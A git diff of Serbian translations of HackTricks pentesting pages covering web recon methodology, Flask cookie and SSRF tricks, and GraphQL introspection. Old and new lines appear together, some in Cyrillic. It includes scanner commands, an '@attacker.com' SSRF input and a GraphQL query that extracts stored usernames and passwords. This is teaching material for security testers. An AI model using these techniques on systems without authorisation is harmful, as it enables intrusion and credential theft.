# 80,443 - Pentesting Web Metodologija
# 80,443 - Pentesting Web Methodology
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
Web servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
Web servis je naj **češći i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
**Podrazumevani port:** 80 (HTTP), 443(HTTPS)
```bash
@ -31,7 +31,7 @@ web-api-pentesting.md
- [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
- [ ] Koristite neku **poznatu tehnologiju**? Da li postoji neki **koristan trik** za ekstrakciju više informacija?
- [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili neku zanimljivu informaciju.
- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
- [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
- [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
@ -39,7 +39,7 @@ web-api-pentesting.md
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
- [ ] **Proveravanje rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** **otkrivenih fajlova** dodajući uobičajene ekstenzije rezervnih kopija.
- [ ] **Brute-Force parametri**: Pokušajte da **pronađete skrivene parametre**.
- [ ] Kada ste **identifikovali** sve moguće **endpointe** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** vezanih za to.
- [ ] Kada ste **identifikovali** sve moguće **endpointe** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane s tim.
- [ ] [Pratite ovu kontrolnu listu](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
Proverite da li postoje **poznate ranjivosti** za verziju servera **koja se koristi**.\
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikovanje** **tehnologija** i/ili **verzije** koja se koristi. **Nmap sken** može identifikovati verziju servera, ali takođe mogu biti korisni alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
**HTTP zaglavlja i kolačići odgovora** mogu biti veoma korisni za **identifikaciju** **tehnologija** i/ili **verzije** koja se koristi. **Nmap sken** može identifikovati verziju servera, ali takođe mogu biti korisni alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ili [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -69,9 +69,9 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
- [**Artifactory**](artifactory-hacking-guide.md)
- [**Buckets**](buckets/)
- [**Buckets**](buckets/index.html)
- [**CGI**](cgi.md)
- [**Drupal**](drupal/)
- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Git**](git.md)
- [**Golang**](golang.md)
@ -86,31 +86,31 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php ima mnogo zanimljivih trikova koji se mogu iskoristiti)**](php-tricks-esp/)
- [**PHP (php ima mnogo zanimljivih trikova koji se mogu iskoristiti)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
- [**Tomcat**](tomcat/)
- [**Tomcat**](tomcat/index.html)
- [**VMWare**](vmware-esx-vcenter....md)
- [**Web API Pentesting**](web-api-pentesting.md)
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/)
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html)
_Uzmite u obzir da **ista domena** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **subdomenama**._\
_Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **subdomenama**._\
Ako web aplikacija koristi neku poznatu **tehniku/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
### Pregled izvornog koda
Ako je **izvorni kod** aplikacije dostupan na **github**, osim što ćete **sami obaviti White box test** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
- Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba?
- Kako i gde se čuvaju **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
- Kako i gde su sačuvane **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisnička imena ili lozinke)?
- Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
- Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
- Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
- Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka uneta unutar starog commita**)?
- Da li postoji neka **zanimljiva informacija na github-u** (rešeni i nerešeni) **problemi**? Ili u **istoriji commit-a** (možda neka **lozinka uvedena unutar starog commita**)?
{{#ref}}
code-review-tools.md
@ -132,22 +132,22 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS skeneri
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto zanimljivo:
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto sočno:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** veb sajtovi za bezbednosne probleme. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za sigurnosne probleme. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki skener.
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli i CMS i pokrenuli neki skener.
## Postupak otkrivanja web aplikacija
## Postupno otkrivanje web aplikacija
> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom.
@ -168,15 +168,15 @@ Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. To
- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc)
- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti kolačića** i **vrednosti parametara** da biste izazvali greške
- Generišite grešku dajući unos kao **`/~randomthing/%s`** na **kraj** **URL-a**
- Pokušajte sa **različitim HTTP glagolima** kao što su PATCH, DEBUG ili pogrešnim kao FAKE
- Generišite grešku tako što ćete dati unos kao **`/~randomthing/%s`** na **kraj** **URL-a**
- Pokušajte sa **različitim HTTP metodama** kao što su PATCH, DEBUG ili pogrešnim kao FAKE
#### **Proverite da li možete da otpremite fajlove (**[**PUT glagol, WebDav**](put-method-webdav.md)**)**
#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u korenski folder, pokušajte da:
- **Brute Force** kredencijale
- **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
- **Otpremite fajlove** putem WebDav-a u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
### **SSL/TLS ranjivosti**
@ -203,15 +203,15 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe ukazuje na "sočne datoteke".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putanjama, a meg će preuzeti svaku putanju na svakom hostu i sačuvati odgovor.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
- [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi moglo biti korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec ninja.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata.
@ -248,7 +248,7 @@ Alati:
**Preporučeni rečnici:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** uključen rečnik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** uključeni rečnik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote rečnici](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -275,11 +275,11 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
- Ako se igrate **CTF**, "uobičajena" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
- **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivene funkcionalnosti**.
- Ako se igrate **CTF**, "uobičajena" trik je da se **sakrije** **informacija** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je korišćenje **several new lines** i **sakrivanje informacija** u komentaru na **dnu** web stranice.
- **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
- **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/).
- **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html).
### Posebna otkrića
@ -288,17 +288,17 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
**Zanimljive datoteke**
- Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
- [Ako pronađete _**.git**_ datoteku, neke informacije se mogu izvući](git.md).
- [Ako pronađete _**.git**_ datoteku, neka informacija može biti ekstraktovana](git.md).
- Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke baza podataka i druge informacije mogu se pronaći.
- Ako pronađete **API krajnje tačke** [trebalo bi da ih testirate](web-api-pentesting.md). Ovo nisu datoteke, ali će verovatno "izgledati kao" njih.
- **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu izvući putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
- Ako pronađete **API krajnje tačke** [takođe ih treba testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
- **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
- **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- U nekoliko slučajeva, moraćete da **razumete regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex).
- Takođe možete **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
- U nekoliko slučajeva, moraćete da **razumete regularne ekspresije** koje se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex).
- Takođe biste mogli **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -308,7 +308,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
**502 Proxy Error**
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
**NTLM Authentication - Info disclosure**

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**Verovatno, ako učestvujete u CTF-u, Flask aplikacija će biti povezana sa** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
**Verovatno, ako učestvujete u CTF-u, Flask aplikacija će biti povezana sa** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
@ -18,7 +18,7 @@ Uzmi prvi deo kolačića do prve tačke i Base64 dekodiraj ga.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Kolačić je takođe potpisan korišćenjem lozinke
Kolačić je takođe potpisan koristeći lozinku
### **Flask-Unsign**
@ -83,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Moglo bi da dozvoli uvođenje nečega poput "@attacker.com" kako bi izazvalo **SSRF**.
Може дозволити увођење нечега попут "@attacker.com" како би се изазвао **SSRF**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Uvod
GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa prikupljanja podataka.
GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka da bi prikupio podatke, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa preuzimanja podataka.
## GraphQL i bezbednost
@ -23,11 +23,11 @@ Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanj
- `/graphql/api`
- `/graphql/graphql`
Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih preko krajnje tačke. GraphQL-ov introspekcioni sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: Jezik upita za API-e.**](https://graphql.org/learn/introspection/)
Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih preko krajnje tačke. GraphQL-ov introspekcioni sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### Otisak
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) može da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita.
#### Univerzalni upiti <a href="#universal-queries" id="universal-queries"></a>
@ -51,13 +51,13 @@ Sa ovom upitom ćete pronaći imena svih tipova koji se koriste:
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (kao i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.
Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka.
![](<../../images/image (950).png>)
**Greške**
Zanimljivo je znati da li će se **greške** **prikazivati** jer će doprineti korisnim **informacijama.**
Zanimljivo je znati da li će se **greške** prikazivati jer će doprineti korisnim **informacijama.**
```
?query={__schema}
?query={}
@ -158,7 +158,7 @@ name
}
}
```
Inline introspection upit:
Инлајн интроспекција упит:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
@ -176,11 +176,11 @@ U introspekciji možete pronaći **koji objekat možete direktno upititi** (jer
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
Napomena da je tip upita "_flags_" "_Flags_", a ovaj objekat je definisan kao ispod:
Napomena da je tip upita "_flags_" "_Flags_", i ovaj objekat je definisan kao ispod:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Možete videti da se objekti "_Flags_" sastoje od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:
Možete videti da su objekti "_Flags_" sastavljeni od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom:
```javascript
query={flags{name, value}}
```
@ -193,7 +193,7 @@ Možete ga jednostavno upititi sa:
query = { hiddenFlags }
```
U drugom primeru gde su bila 2 objekta unutar objekta tipa "_Query_": "_user_" i "_users_".\
Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** samo **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke:
Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **dobiti sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke:
![](<../../images/image (880).png>)
@ -202,16 +202,16 @@ Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu **grešku**:
![](<../../images/image (1042).png>)
Izgleda da će nekako pretraživati koristeći argument "_**uid**_" tipa _**Int**_.\
U svakom slučaju, već smo znali da je u odeljku [Basic Enumeration](graphql.md#basic-enumeration) predložen upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
U svakom slučaju, već smo to znali, u sekciji [Basic Enumeration](graphql.md#basic-enumeration) predložen je upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Ako pročitate sliku koju sam priložio kada pokrenem taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
Dakle, obavljajući malo _**uid**_ bruteforce-a, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
